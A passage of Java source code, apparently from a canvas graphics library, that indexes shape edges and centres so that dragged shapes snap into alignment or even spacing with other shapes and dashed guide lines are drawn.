rightDist = new DistributionEntry(handler, otherH, rightPoint, DistributionEntry.RIGHT_DIST);
}
if (leftDist != null)
{
addDistIndexEntry(m_leftDistIndex, leftDist);
addDistIndexEntry(m_hCenterDistIndex, hCenterDist);
addDistIndexEntry(m_rightDistIndex, rightDist);
}
}
}
private boolean skipShape(AlignAndDistributeHandler handler, AlignAndDistributeHandler otherH)
{
if (otherH == handler || !otherH.isIndexed())
{
// don't index against yourself or shapes not indexed
return true;
}
return false;
}
public void buildVerticalDistIndex(AlignAndDistributeHandler handler)
{
double top = round(handler.getTop());
double bottom = round(handler.getBottom());
for (AlignAndDistributeHandler otherH : m_shapes.values())
{
if (skipShape(handler, otherH))
{
continue;
}
double otherTop = round(otherH.getTop());
double otherBottom = round(otherH.getBottom());
DistributionEntry topDist = null;
DistributionEntry vCenterDist = null;
DistributionEntry bottomDist = null;
if (otherBottom < top)
{
double dx = top - otherBottom;
double topPoint = otherTop - dx;
double bottomPoint = bottom + dx;
double centerPoint = round(otherBottom + ((top - otherBottom) / 2));
topDist = new DistributionEntry(otherH, handler, topPoint, DistributionEntry.TOP_DIST);
vCenterDist = new DistributionEntry(otherH, handler, centerPoint, DistributionEntry.V_CENTER_DIST);
bottomDist = new DistributionEntry(otherH, handler, bottomPoint, DistributionEntry.BOTTOM_DIST);
}
else if (otherTop > bottom)
{
double dx = otherTop - bottom;
double topPoint = top - dx;
double bottomPoint = otherBottom + dx;
double centerPoint = round(bottom + ((otherTop - bottom) / 2));
topDist = new DistributionEntry(handler, otherH, topPoint, DistributionEntry.TOP_DIST);
vCenterDist = new DistributionEntry(handler, otherH, centerPoint, DistributionEntry.V_CENTER_DIST);
bottomDist = new DistributionEntry(handler, otherH, bottomPoint, DistributionEntry.BOTTOM_DIST);
}
if (topDist != null)
{
addDistIndexEntry(m_topDistIndex, topDist);
addDistIndexEntry(m_vCenterDistIndex, vCenterDist);
addDistIndexEntry(m_bottomDistIndex, bottomDist);
}
}
}
public static class DistributionEntry
{
private static final int LEFT_DIST = 0;
private static final int H_CENTER_DIST = 1;
private static final int RIGHT_DIST = 2;
private static final int TOP_DIST = 3;
private static final int V_CENTER_DIST = 4;
private static final int BOTTOM_DIST = 5;
private AlignAndDistributeHandler m_shape1;
private AlignAndDistributeHandler m_shape2;
private double m_point;
private int m_distType;
public DistributionEntry(AlignAndDistributeHandler shape1, AlignAndDistributeHandler shape2, double point, int distType)
{
m_shape1 = shape1;
m_shape2 = shape2;
m_point = point;
m_distType = distType;
if (distType <= 2)
{
shape1.getHorizontalDistributionEntries().add(this);
shape2.getHorizontalDistributionEntries().add(this);
}
else
{
shape1.getVerticalDistributionEntries().add(this);
shape2.getVerticalDistributionEntries().add(this);
}
}
public AlignAndDistributeHandler getShape1()
{
return m_shape1;
}
public AlignAndDistributeHandler getShape2()
{
return m_shape2;
}
public double getPoint()
{
return m_point;
}
public int getDistributionType()
{
return m_distType;
}
}
public AlignAndDistributeMatches findNearestMatches(AlignAndDistributeHandler handler, double left, double hCenter, double right, double top, double vCenter, double bottom)
{
LinkedList<AlignAndDistributeHandler> leftList = null;
LinkedList<AlignAndDistributeHandler> hCenterList = null;
LinkedList<AlignAndDistributeHandler> rightList = null;
LinkedList<AlignAndDistributeHandler> topList = null;
LinkedList<AlignAndDistributeHandler> vCenterList = null;
LinkedList<AlignAndDistributeHandler> bottomList = null;
LinkedList<DistributionEntry> leftDistList = null;
LinkedList<DistributionEntry> hCenterDistList = null;
LinkedList<DistributionEntry> rightDistList = null;
LinkedList<DistributionEntry> topDistList = null;
LinkedList<DistributionEntry> vCenterDistList = null;
LinkedList<DistributionEntry> bottomDistList = null;
int hOffset = 0;
while (hOffset <= m_circa)
{
leftList = findNearestAlignIndexEntry(m_leftIndex, left + hOffset);
hCenterList = findNearestAlignIndexEntry(m_hCenterIndex, hCenter + hOffset);
rightList = findNearestAlignIndexEntry(m_rightIndex, right + hOffset);
leftDistList = findNearestDistIndexEntry(m_leftDistIndex, right + hOffset);
hCenterDistList = findNearestDistIndexEntry(m_hCenterDistIndex, hCenter + hOffset);
rightDistList = findNearestDistIndexEntry(m_rightDistIndex, left + hOffset);
if (matchFound(leftList, hCenterList, rightList, leftDistList, hCenterDistList, rightDistList))
{
break;
}
leftList = findNearestAlignIndexEntry(m_leftIndex, left - hOffset);
hCenterList = findNearestAlignIndexEntry(m_hCenterIndex, hCenter - hOffset);
rightList = findNearestAlignIndexEntry(m_rightIndex, right - hOffset);
leftDistList = findNearestDistIndexEntry(m_leftDistIndex, right - hOffset);
hCenterDistList = findNearestDistIndexEntry(m_hCenterDistIndex, hCenter - hOffset);
rightDistList = findNearestDistIndexEntry(m_rightDistIndex, left - hOffset);
if (matchFound(leftList, hCenterList, rightList, leftDistList, hCenterDistList, rightDistList))
{
hOffset = -hOffset;
break;
}
hOffset++;
}
int vOffset = 0;
while (vOffset <= m_circa)
{
topList = findNearestAlignIndexEntry(m_topIndex, top + vOffset);
vCenterList = findNearestAlignIndexEntry(m_vCenterIndex, vCenter + vOffset);
bottomList = findNearestAlignIndexEntry(m_bottomIndex, bottom + vOffset);
topDistList = findNearestDistIndexEntry(m_topDistIndex, bottom + vOffset);
vCenterDistList = findNearestDistIndexEntry(m_vCenterDistIndex, vCenter + vOffset);
bottomDistList = findNearestDistIndexEntry(m_bottomDistIndex, top + vOffset);
if (matchFound(topList, vCenterList, bottomList, topDistList, vCenterDistList, bottomDistList))
{
break;
}
topList = findNearestAlignIndexEntry(m_topIndex, top - vOffset);
vCenterList = findNearestAlignIndexEntry(m_vCenterIndex, vCenter - vOffset);
bottomList = findNearestAlignIndexEntry(m_bottomIndex, bottom - vOffset);
topDistList = findNearestDistIndexEntry(m_topDistIndex, bottom - vOffset);
vCenterDistList = findNearestDistIndexEntry(m_vCenterDistIndex, vCenter - vOffset);
bottomDistList = findNearestDistIndexEntry(m_bottomDistIndex, top - vOffset);
if (matchFound(topList, vCenterList, bottomList, topDistList, vCenterDistList, bottomDistList))
{
vOffset = -vOffset;
break;
}
vOffset++;
}
AlignAndDistributeMatches matches;
if (matchFound(leftList, hCenterList, rightList, leftDistList, hCenterDistList, rightDistList) || matchFound(topList, vCenterList, bottomList, topDistList, vCenterDistList, bottomDistList))
{
matches = new AlignAndDistributeMatches(handler, left + hOffset, leftList, hCenter + hOffset, hCenterList, right + hOffset, rightList, top + vOffset, topList, vCenter + vOffset, vCenterList, bottom + vOffset, bottomList, leftDistList, hCenterDistList, rightDistList, topDistList, vCenterDistList, bottomDistList);
}
else
{
matches = emptyAlignedMatches;
}
return matches;
}
private boolean matchFound(LinkedList<AlignAndDistributeHandler> l1, LinkedList<AlignAndDistributeHandler> l2, LinkedList<AlignAndDistributeHandler> l3, LinkedList<DistributionEntry> l4, LinkedList<DistributionEntry> l5, LinkedList<DistributionEntry> l6)
{
if (l1 != null || l2 != null || l3 != null || l4 != null || l5 != null || l6 != null)
{
return true;
}
return false;
}
private static LinkedList<AlignAndDistributeHandler> findNearestAlignIndexEntry(Map<Double, LinkedList<AlignAndDistributeHandler>> map, double pos)
{
double rounded = Math.round(pos);
LinkedList<AlignAndDistributeHandler> indexEntries = map.get(rounded);
return indexEntries;
}
private static LinkedList<DistributionEntry> findNearestDistIndexEntry(Map<Double, LinkedList<DistributionEntry>> map, double pos)
{
double rounded = Math.round(pos);
LinkedList<DistributionEntry> indexEntries = map.get(rounded);
return indexEntries;
}
private static final EmptyAlignAndDistributeMatches emptyAlignedMatches = new EmptyAlignAndDistributeMatches();
public static class EmptyAlignAndDistributeMatches extends AlignAndDistributeMatches
{
public EmptyAlignAndDistributeMatches()
{
m_hasMatch = false;
}
}
public void indexOff(AlignAndDistributeHandler handler)
{
removeAlignIndex(handler, handler.getLeft(), handler.getHorizontalCenter(), handler.getRight(), handler.getTop(), handler.getVerticalCenter(), handler.getBottom());
removeDistIndex(handler);
handler.setIndexed(false);
}
public void indexOn(AlignAndDistributeHandler handler)
{
buildAlignIndex(handler, handler.getLeft(), handler.getHorizontalCenter(), handler.getRight(), handler.getTop(), handler.getVerticalCenter(), handler.getBottom());
buildDistIndex(handler);
handler.setIndexed(true);
}
public void buildAlignIndex(AlignAndDistributeHandler handler, double left, double hCenter, double right, double top, double vCenter, double bottom)
{
addAlignIndexEntry(m_leftIndex, handler, left);
addAlignIndexEntry(m_hCenterIndex, handler, hCenter);
addAlignIndexEntry(m_rightIndex, handler, right);
addAlignIndexEntry(m_topIndex, handler, top);
addAlignIndexEntry(m_vCenterIndex, handler, vCenter);
addAlignIndexEntry(m_bottomIndex, handler, bottom);
}
public void removeAlignIndex(AlignAndDistributeHandler handler, double left, double hCenter, double right, double top, double vCenter, double bottom)
{
removeAlignIndexEntry(m_leftIndex, handler, left);
removeAlignIndexEntry(m_hCenterIndex, handler, hCenter);
removeAlignIndexEntry(m_rightIndex, handler, right);
removeAlignIndexEntry(m_topIndex, handler, top);
removeAlignIndexEntry(m_vCenterIndex, handler, vCenter);
removeAlignIndexEntry(m_bottomIndex, handler, bottom);
}
public void addLeftAlignIndexEntry(AlignAndDistributeHandler shape, double left)
{
addAlignIndexEntry(m_leftIndex, shape, left);
}
public void addHCenterAlignIndexEntry(AlignAndDistributeHandler shape, double hCenter)
{
addAlignIndexEntry(m_hCenterIndex, shape, hCenter);
}
public void addRightAlignIndexEntry(AlignAndDistributeHandler shape, double right)
{
addAlignIndexEntry(m_rightIndex, shape, right);
}
public void addTopAlignIndexEntry(AlignAndDistributeHandler shape, double top)
{
addAlignIndexEntry(m_topIndex, shape, top);
}
public void addVCenterAlignIndexEntry(AlignAndDistributeHandler shape, double vCenter)
{
addAlignIndexEntry(m_vCenterIndex, shape, vCenter);
}
public void addBottomAlignIndexEntry(AlignAndDistributeHandler shape, double bottom)
{
addAlignIndexEntry(m_bottomIndex, shape, bottom);
}
public void removeLeftAlignIndexEntry(AlignAndDistributeHandler shape, double left)
{
addAlignIndexEntry(m_leftIndex, shape, left);
}
public void removeHCenterAlignIndexEntry(AlignAndDistributeHandler shape, double hCenter)
{
removeAlignIndexEntry(m_hCenterIndex, shape, hCenter);
}
public void removeRightAlignIndexEntry(AlignAndDistributeHandler shape, double right)
{
removeAlignIndexEntry(m_rightIndex, shape, right);
}
public void removeTopAlignIndexEntry(AlignAndDistributeHandler shape, double top)
{
removeAlignIndexEntry(m_topIndex, shape, top);
}
public void removeVCenterAlignIndexEntry(AlignAndDistributeHandler shape, double vCenter)
{
removeAlignIndexEntry(m_vCenterIndex, shape, vCenter);
}
public void removeBottomAlignIndexEntry(AlignAndDistributeHandler shape, double bottom)
{
removeAlignIndexEntry(m_bottomIndex, shape, bottom);
}
public static class AlignAndDistributeMatches
{
private AlignAndDistributeHandler m_handler;
private double m_leftPos;
private LinkedList<AlignAndDistributeHandler> m_leftList;
private double m_hCenterPos;
private LinkedList<AlignAndDistributeHandler> m_hCenterList;
private double m_rightPos;
private LinkedList<AlignAndDistributeHandler> m_rightList;
private double m_topPos;
private LinkedList<AlignAndDistributeHandler> m_topList;
private double m_vCenterPos;
private LinkedList<AlignAndDistributeHandler> m_vCenterList;
private double m_bottomPos;
private LinkedList<AlignAndDistributeHandler> m_bottomList;
private LinkedList<DistributionEntry> m_leftDistList;
private LinkedList<DistributionEntry> m_hCenterDistList;
private LinkedList<DistributionEntry> m_rightDistList;
private LinkedList<DistributionEntry> m_topDistList;
private LinkedList<DistributionEntry> m_vCenterDistList;
private LinkedList<DistributionEntry> m_bottomDistList;
protected boolean m_hasMatch;
public AlignAndDistributeMatches()
{
}
public AlignAndDistributeMatches(AlignAndDistributeHandler handler, double leftPos, LinkedList<AlignAndDistributeHandler> leftList, double hCenterPos, LinkedList<AlignAndDistributeHandler> hCenterList, double rightPos, LinkedList<AlignAndDistributeHandler> rightList, double topPos, LinkedList<AlignAndDistributeHandler> topList, double vCenterPos, LinkedList<AlignAndDistributeHandler> vCenterList, double bottomPos, LinkedList<AlignAndDistributeHandler> bottomList, LinkedList<DistributionEntry> leftDistList, LinkedList<DistributionEntry> hCenterDistList, LinkedList<DistributionEntry> rightDistList, LinkedList<DistributionEntry> topDistList, LinkedList<DistributionEntry> vCenterDistList, LinkedList<DistributionEntry> bottomDistList)
{
m_handler = handler;
m_leftPos = leftPos;
m_leftList = leftList;
m_hCenterPos = hCenterPos;
m_hCenterList = hCenterList;
m_rightPos = rightPos;
m_rightList = rightList;
m_topPos = topPos;
m_topList = topList;
m_vCenterPos = vCenterPos;
m_vCenterList = vCenterList;
m_bottomPos = bottomPos;
m_bottomList = bottomList;
m_leftDistList = leftDistList;
m_hCenterDistList = hCenterDistList;
m_rightDistList = rightDistList;
m_topDistList = topDistList;
m_vCenterDistList = vCenterDistList;
m_bottomDistList = bottomDistList;
m_hasMatch = true;
}
public AlignAndDistributeHandler getHandler()
{
return m_handler;
}
public boolean hashMatch()
{
return m_hasMatch;
}
public LinkedList<AlignAndDistributeHandler> getLeftList()
{
return m_leftList;
}
public LinkedList<AlignAndDistributeHandler> getHorizontalCenterList()
{
return m_hCenterList;
}
public LinkedList<AlignAndDistributeHandler> getRightList()
{
return m_rightList;
}
public LinkedList<AlignAndDistributeHandler> getTopList()
{
return m_topList;
}
public LinkedList<AlignAndDistributeHandler> getVerticalCenterList()
{
return m_vCenterList;
}
public LinkedList<AlignAndDistributeHandler> getBottomList()
{
return m_bottomList;
}
public double getLeftPos()
{
return m_leftPos;
}
public double getHorizontalCenterPos()
{
return m_hCenterPos;
}
public double getRightPos()
{
return m_rightPos;
}
public double getTopPos()
{
return m_topPos;
}
public double getVerticalCenterPos()
{
return m_vCenterPos;
}
public double getBottomPos()
{
return m_bottomPos;
}
public LinkedList<DistributionEntry> getLeftDistList()
{
return m_leftDistList;
}
public LinkedList<DistributionEntry> getHorizontalCenterDistList()
{
return m_hCenterDistList;
}
public LinkedList<DistributionEntry> getRightDistList()
{
return m_rightDistList;
}
public LinkedList<DistributionEntry> getTopDistList()
{
return m_topDistList;
}
public LinkedList<DistributionEntry> getVerticalCenterDistList()
{
return m_vCenterDistList;
}
public LinkedList<DistributionEntry> getBottomDistList()
{
return m_bottomDistList;
}
}
public static double round(double value)
{
return Math.round(value);
}
public static class AlignAndDistributeHandler implements AttributesChangedHandler, DragConstraintEnforcer, NodeDragEndHandler
{
protected AlignAndDistribute m_alignAndDistribute;
protected Shape<?> m_shape;
protected BoundingBox m_box;
protected boolean m_isDraggable;
protected boolean m_isDragging;
protected HandlerRegistrationManager m_attrHandlerRegs;
protected HandlerRegistration m_dragEndHandlerReg;
protected AlignAndDistributeMatchesCallback m_alignAndDistributeMatchesCallback;
protected double m_startLeft;
protected double m_startTop;
protected double m_left;
protected double m_hCenter;
protected double m_right;
protected double m_top;
protected double m_vCenter;
protected double m_bottom;
protected Set<DistributionEntry> m_horizontalDistEntries;
protected Set<DistributionEntry> m_verticalDistEntries;
protected DragConstraintEnforcer m_enforcerDelegate;
private boolean indexed;
private final BooleanOp m_bboxOp;
private final BooleanOp m_tranOp;
public AlignAndDistributeHandler(Shape<?> shape, AlignAndDistribute alignAndDistribute, AlignAndDistributeMatchesCallback alignAndDistributeMatchesCallback, List<Attribute> attributes)
{
m_shape = shape;
m_alignAndDistribute = alignAndDistribute;
m_alignAndDistributeMatchesCallback = alignAndDistributeMatchesCallback;
m_box = shape.getBoundingBox();
double left = shape.getX() + m_box.getX();
double right = left + m_box.getWidth();
double top = shape.getY() + m_box.getY();
double bottom = top + m_box.getHeight();
captureHorizontalPositions(m_box, left, right);
captureVerticalPositions(m_box, top, bottom);
m_alignAndDistribute.indexOn(this);
if (m_shape.isDraggable())
{
dragOn();
}
m_attrHandlerRegs = new HandlerRegistrationManager();
final ArrayList<Attribute> temp = new ArrayList<Attribute>(attributes);
temp.add(Attribute.X);
temp.add(Attribute.Y);
final NFastStringSet seen = new NFastStringSet();
final ArrayList<Attribute> list = new ArrayList<Attribute>();
for (Attribute attribute : temp)
{
if (null != attribute)
{
if (false == seen.contains(attribute.getProperty()))
{
list.add(attribute);
seen.add(attribute.getProperty());
}
}
}
m_bboxOp = any(list);
for (Attribute attribute : list)
{
m_attrHandlerRegs.register(m_shape.addAttributesChangedHandler(attribute, this));
}
m_attrHandlerRegs.register(m_shape.addAttributesChangedHandler(Attribute.ROTATION, this));
m_attrHandlerRegs.register(m_shape.addAttributesChangedHandler(Attribute.SCALE, this));
m_attrHandlerRegs.register(m_shape.addAttributesChangedHandler(Attribute.SHEAR, this));
m_tranOp = any(Attribute.ROTATION, Attribute.SCALE, Attribute.SHEAR);
}
public boolean isIndexed()
{
return indexed;
}
public void setIndexed(boolean indexed)
{
this.indexed = indexed;
}
public Set<DistributionEntry> getHorizontalDistributionEntries()
{
if (m_horizontalDistEntries == null)
{
m_horizontalDistEntries = new HashSet<DistributionEntry>();
}
return m_horizontalDistEntries;
}
public Set<DistributionEntry> getVerticalDistributionEntries()
{
if (m_verticalDistEntries == null)
{
m_verticalDistEntries = new HashSet<DistributionEntry>();
}
return m_verticalDistEntries;
}
public Shape<?> getShape()
{
return m_shape;
}
/**
* This is a cached BoundingBox
* @return
*/
public BoundingBox getBoundingBox()
{
return m_box;
}
public double getLeft()
{
return m_left;
}
public double getHorizontalCenter()
{
return m_hCenter;
}
public double getRight()
{
return m_right;
}
public double getTop()
{
return m_top;
}
public double getVerticalCenter()
{
return m_vCenter;
}
public double getBottom()
{
return m_bottom;
}
public void capturePositions(BoundingBox box, double left, double right, double top, double bottom)
{
m_box = box;
if (left != m_left || right != m_right)
{
captureHorizontalPositions(box, left, right);
}
if (top != m_top || bottom != m_bottom)
{
captureVerticalPositions(box, top, bottom);
}
}
public void captureHorizontalPositions(BoundingBox box, double left, double right)
{
double width = box.getWidth();
m_left = left;
m_hCenter = m_left + (width / 2);
m_right = right;
}
public void captureVerticalPositions(BoundingBox box, double top, double bottom)
{
double height = box.getHeight();
m_top = top;
m_vCenter = (m_top + (height / 2));
m_bottom = bottom;
}
public void updateIndex()
{
BoundingBox box = m_shape.getBoundingBox();
double left = m_shape.getX() + box.getX();
double right = left + box.getWidth();
double top = m_shape.getY() + box.getY();
double bottom = top + box.getHeight();
boolean leftChanged = left != m_left;
boolean rightChanged = right != m_right;
boolean topChanged = top != m_top;
boolean bottomChanged = bottom != m_bottom;
if (!leftChanged && !rightChanged && !topChanged && !bottomChanged)
{
// this can happen when the event batching triggers after a drag has stopped, but the event change was due to the dragging.
// @dean REVIEW
return;
}
//capturePositions( m_box, left, right, top, bottom);
updateIndex(leftChanged, rightChanged, topChanged, bottomChanged, box, left, right, top, bottom);
}
public void updateIndex(boolean leftChanged, boolean rightChanged, boolean topChanged, boolean bottomChanged, BoundingBox box, double left, double right, double top, double bottom)
{
// m_box must have been set by parent method.
m_box = box;
if (leftChanged || rightChanged)
{
m_alignAndDistribute.removeHorizontalDistIndex(this);
boolean hCenterChanged = (left + (box.getWidth() / 2) != m_hCenter);
if (leftChanged)
{
m_alignAndDistribute.removeLeftAlignIndexEntry(this, m_left);
}
if (hCenterChanged)
{
m_alignAndDistribute.removeHCenterAlignIndexEntry(this, m_hCenter);
}
if (rightChanged)
{
m_alignAndDistribute.removeRightAlignIndexEntry(this, m_right);
}
captureHorizontalPositions(box, left, right);
if (leftChanged)
{
m_alignAndDistribute.addLeftAlignIndexEntry(this, m_left);
}
if (hCenterChanged)
{
m_alignAndDistribute.addHCenterAlignIndexEntry(this, m_hCenter);
}
if (rightChanged)
{
m_alignAndDistribute.addRightAlignIndexEntry(this, m_right);
}
m_alignAndDistribute.buildHorizontalDistIndex(this);
}
if (topChanged || bottomChanged)
{
m_alignAndDistribute.removeVerticalDistIndex(this);
boolean vCenterChanged = (top + (box.getHeight() / 2) != m_vCenter);
if (topChanged)
{
m_alignAndDistribute.removeTopAlignIndexEntry(this, m_top);
}
if (vCenterChanged)
{
m_alignAndDistribute.removeVCenterAlignIndexEntry(this, m_vCenter);
}
if (bottomChanged)
{
m_alignAndDistribute.removeBottomAlignIndexEntry(this, m_bottom);
}
captureVerticalPositions(box, top, bottom);
if (topChanged)
{
m_alignAndDistribute.addTopAlignIndexEntry(this, m_top);
}
if (vCenterChanged)
{
m_alignAndDistribute.addVCenterAlignIndexEntry(this, m_vCenter);
}
if (bottomChanged)
{
m_alignAndDistribute.addBottomAlignIndexEntry(this, m_bottom);
}
m_alignAndDistribute.buildVerticalDistIndex(this);
}
}
public void dragOn()
{
m_enforcerDelegate = m_shape.getDragConstraints();
m_shape.setDragConstraints(this);
m_dragEndHandlerReg = m_shape.addNodeDragEndHandler(this);
m_isDraggable = true;
}
public void draggOff()
{
m_shape.setDragConstraints(m_enforcerDelegate);
removeDragHandlerRegistrations();
m_isDraggable = false;
}
private final boolean hasComplexTransformAttributes()
{
final Attributes attr = m_shape.getAttributes();
if (attr.hasComplexTransformAttributes())
{
final double r = attr.getRotation();
if (r != 0)
{
return true;
}
final Point2D scale = attr.getScale();
if (null != scale)
{
if ((scale.getX() != 1) || (scale.getY() != 1))
{
return true;
}
}
final Point2D shear = attr.getShear();
if (null != shear)
{
if ((shear.getX() != 0) || (shear.getY() != 0))
{
return true;
}
}
}
return false;
}
@Override
public void onAttributesChanged(final AttributesChangedEvent event)
{
if (m_isDragging)
{
// ignore attribute changes while dragging
return;
}
if (event.evaluate(m_tranOp))
{
boolean hasTransformations = hasComplexTransformAttributes();
if (indexed && hasTransformations)
{
// Indexing cannot be done on transformed shapes
// it's cheaper to just check if the attributes exist on the shape, than it is to test for attributes on the event
m_alignAndDistribute.indexOff(this);
}
else if (!indexed && !hasTransformations)
{
// Indexing was turned off, but there are no more transformations, so turn it back on again
m_alignAndDistribute.indexOn(this);
}
}
boolean isDraggable = m_shape.isDraggable();
if (!m_isDraggable && isDraggable)
{
// was off, now on
dragOn();
}
else if (m_isDraggable && !isDraggable)
{
// was on, now on off
draggOff();
}
if (indexed && event.evaluate(m_bboxOp))
{
updateIndex();
}
}
@Override
public void startDrag(DragContext dragContext)
{
// shapes being dragged must be removed from the index, so that they don't snap to themselves
m_startLeft = m_left;//dragContext.getNode().getX() - m_yBoxOffset;
m_startTop = m_top;//dragContext.getNode().getY() - m_xBoxOffset;
m_isDragging = true;
if (indexed)
{
m_alignAndDistribute.removeAlignIndex(this, m_left, m_hCenter, m_right, m_top, m_vCenter, m_bottom);
m_alignAndDistribute.removeDistIndex(this);
}
}
@Override
public boolean adjust(Point2D dxy)
{
if (!indexed)
{
// ignore adjustment if indexing is off, just use the delegate
if (m_enforcerDelegate != null)
{
return m_enforcerDelegate.adjust(dxy);
}
else
{
return false;
}
}
BoundingBox box = m_shape.getBoundingBox();
double left = m_startLeft + dxy.getX();
double top = m_startTop + dxy.getY();
double width = m_box.getWidth();
double height = m_box.getHeight();
capturePositions(box, left, left + width, top, top + height);
AlignAndDistributeMatches matches = m_alignAndDistribute.findNearestMatches(this, m_left, m_hCenter, m_right, m_top, m_vCenter, m_bottom);
if (m_alignAndDistribute.isSnap())
{
boolean recapture = false;
double xOffset = m_startLeft;
double yOffset = m_startTop;
// Adjust horizontal
if (matches.getLeftList() != null)
{
dxy.setX(matches.getLeftPos() - xOffset);
recapture = true;
}
else if (matches.getHorizontalCenterList() != null)
{
dxy.setX((matches.getHorizontalCenterPos() - (width / 2)) - xOffset);
recapture = true;
}
else if (matches.getRightList() != null)
{
dxy.setX((matches.getRightPos() - width) - xOffset);
recapture = true;
}
// Adjust Vertical
if (matches.getTopList() != null)
{
dxy.setY(matches.getTopPos() - yOffset);
recapture = true;
}
else if (matches.getVerticalCenterList() != null)
{
dxy.setY((matches.getVerticalCenterPos() - (height / 2)) - yOffset);
recapture = true;
}
else if (matches.getBottomList() != null)
{
dxy.setY((matches.getBottomPos() - height) - yOffset);
recapture = true;
}
// Adjust horizontal distribution
if (matches.getLeftDistList() != null)
{
dxy.setX(matches.getLeftDistList().getFirst().getPoint() - width - xOffset);
recapture = true;
}
else if (matches.getRightDistList() != null)
{
dxy.setX(matches.getRightDistList().getFirst().getPoint() - xOffset);
recapture = true;
}
else if (matches.getHorizontalCenterDistList() != null)
{
dxy.setX(matches.getHorizontalCenterDistList().getFirst().getPoint() - (width / 2) - xOffset);
recapture = true;
}
// Adjust vertical distribution
if (matches.getTopDistList() != null)
{
dxy.setY(matches.getTopDistList().getFirst().getPoint() - height - yOffset);
recapture = true;
}
else if (matches.getBottomDistList() != null)
{
dxy.setY(matches.getBottomDistList().getFirst().getPoint() - yOffset);
recapture = true;
}
else if (matches.getVerticalCenterDistList() != null)
{
dxy.setY(matches.getVerticalCenterDistList().getFirst().getPoint() - (height / 2) - yOffset);
recapture = true;
}
if (m_enforcerDelegate != null)
{
// Try to obey the default or user provided enforcer too.
if (m_enforcerDelegate.adjust(dxy))
{
// if the delegate adjusted, we must recapture
recapture = true;
}
}
// it was adjusted, so recapture points
if (recapture)
{
// can't use the original left and top vars, as they are before adjustment snap
left = m_startLeft + dxy.getX();
top = m_startTop + dxy.getY();
width = m_box.getWidth();
height = m_box.getHeight();
capturePositions(box, left, left + width, top, top + height);
}
}
if (m_alignAndDistribute.isDrawGuideLines())
{
m_alignAndDistributeMatchesCallback.call(matches);
}
return true;
}
public void onNodeDragEnd(NodeDragEndEvent event)
{
m_isDragging = false;
m_alignAndDistributeMatchesCallback.dragEnd();
// shape was removed from the index, so add it back in
if (indexed)
{
m_alignAndDistribute.buildAlignIndex(this, m_left, m_hCenter, m_right, m_top, m_vCenter, m_bottom);
m_alignAndDistribute.buildDistIndex(this);
}
}
private void removeDragHandlerRegistrations()
{
m_dragEndHandlerReg.removeHandler();
m_dragEndHandlerReg = null;
}
public void removeHandlerRegistrations()
{
m_attrHandlerRegs.destroy();
m_attrHandlerRegs = null;
removeDragHandlerRegistrations();
}
}
public static interface AlignAndDistributeMatchesCallback
{
void call(AlignAndDistributeMatches matches);
void dragEnd();
}
public static class DefaultAlignAndDistributeMatchesCallback implements AlignAndDistributeMatchesCallback
{
private final Shape<?>[] m_lines = new Shape<?>[18];
private Layer m_layer;
private double m_strokeWidth = 0.5;
private String m_strokeColor = "#000000";
private DashArray m_dashArray = new DashArray(10, 10);
public DefaultAlignAndDistributeMatchesCallback(Layer layer)
{
m_layer = layer;
}
public DefaultAlignAndDistributeMatchesCallback(Layer layer, double strokeWidth, String strokeColor, DashArray dashArray)
{
this(layer);
m_strokeWidth = strokeWidth;
m_strokeColor = strokeColor;
m_dashArray = dashArray;
}
public double getStrokeWidth()
{
return m_strokeWidth;
}
public void setStrokeWidth(double strokeWidth)
{
m_strokeWidth = strokeWidth;
}
public String getStrokeColor()
{
return m_strokeColor;
}
public void setStrokeColor(String strokeColor)
{
m_strokeColor = strokeColor;
}
public DashArray getDashArray()
{
return m_dashArray;
}
public void setDashArray(DashArray dashArray)
{
m_dashArray = dashArray;
}
@Override
public void dragEnd()
{
for (int i = 0; i < m_lines.length; i++)
{
if (m_lines[i] != null)
{
m_layer.remove(m_lines[i]);
m_lines[i] = null;
}
}
m_layer.batch();
}
@Override
public void call(AlignAndDistributeMatches matches)
{
AlignAndDistributeHandler handler = matches.getHandler();
drawAlignIfMatches(handler, matches.getLeftList(), matches.getLeftPos(), 0, true);
drawAlignIfMatches(handler, matches.getHorizontalCenterList(), matches.getHorizontalCenterPos(), 1, true);
drawAlignIfMatches(handler, matches.getRightList(), matches.getRightPos(), 2, true);
drawAlignIfMatches(handler, matches.getTopList(), matches.getTopPos(), 3, false);
drawAlignIfMatches(handler, matches.getVerticalCenterList(), matches.getVerticalCenterPos(), 4, false);
drawAlignIfMatches(handler, matches.getBottomList(), matches.getBottomPos(), 5, false);
drawDistIfMatches(handler, matches.getLeftDistList(), 6, false);
drawDistIfMatches(handler, matches.getHorizontalCenterDistList(), 8, false);
drawDistIfMatches(handler, matches.getRightDistList(), 10, false);
drawDistIfMatches(handler, matches.getTopDistList(), 12, true);
drawDistIfMatches(handler, matches.getVerticalCenterDistList(), 14, true);
drawDistIfMatches(handler, matches.getBottomDistList(), 16, true);
}
private void drawAlignIfMatches(AlignAndDistributeHandler handler, LinkedList<AlignAndDistributeHandler> shapes, double pos, int index, boolean vertical)
{
if (shapes != null)
{
if (vertical)
{
drawVerticalLine(handler, pos, shapes, index);
}
else
{
drawHorizontalLine(handler, pos, shapes, index);
}
m_layer.batch();
}
else if (m_lines[index] != null)
{
removeLine(index, m_lines[index]);
m_layer.batch();
}
}
private void drawDistIfMatches(AlignAndDistributeHandler h, LinkedList<DistributionEntry> shapes, int index, boolean vertical)
{
if (shapes != null)
{
for (DistributionEntry dist : shapes)
{
AlignAndDistributeHandler h1 = dist.getShape1();
AlignAndDistributeHandler h2 = dist.getShape2();
if (!vertical)
{
double bottom = h.getBottom();
if (h1.getBottom() > bottom)
{
bottom = h1.getBottom();
}
if (h2.getBottom() > bottom)
{
bottom = h2.getBottom();
}
bottom = bottom + 20;
double x0 = 0, y0 = 0, x1 = 0, y1 = 0;
double x2 = 0, y2 = 0, x3 = 0, y3 = 0;
switch (dist.getDistributionType())
{
case DistributionEntry.LEFT_DIST:
x0 = h.getRight();
y0 = h.getBottom() + 5;
x1 = h1.getLeft();
y1 = h1.getBottom() + 5;
x2 = h1.getRight();
y2 = h1.getBottom() + 5;
x3 = h2.getLeft();
y3 = h2.getBottom() + 5;
break;
case DistributionEntry.H_CENTER_DIST:
x0 = h1.getRight();
y0 = h1.getBottom() + 5;
x1 = h.getLeft();
y1 = h.getBottom() + 5;
x2 = h.getRight();
y2 = h.getBottom() + 5;
x3 = h2.getLeft();
y3 = h2.getBottom() + 5;
break;
case DistributionEntry.RIGHT_DIST:
x0 = h1.getRight();
y0 = h1.getBottom() + 5;
x1 = h2.getLeft();
y1 = h2.getBottom() + 5;
x2 = h2.getRight();
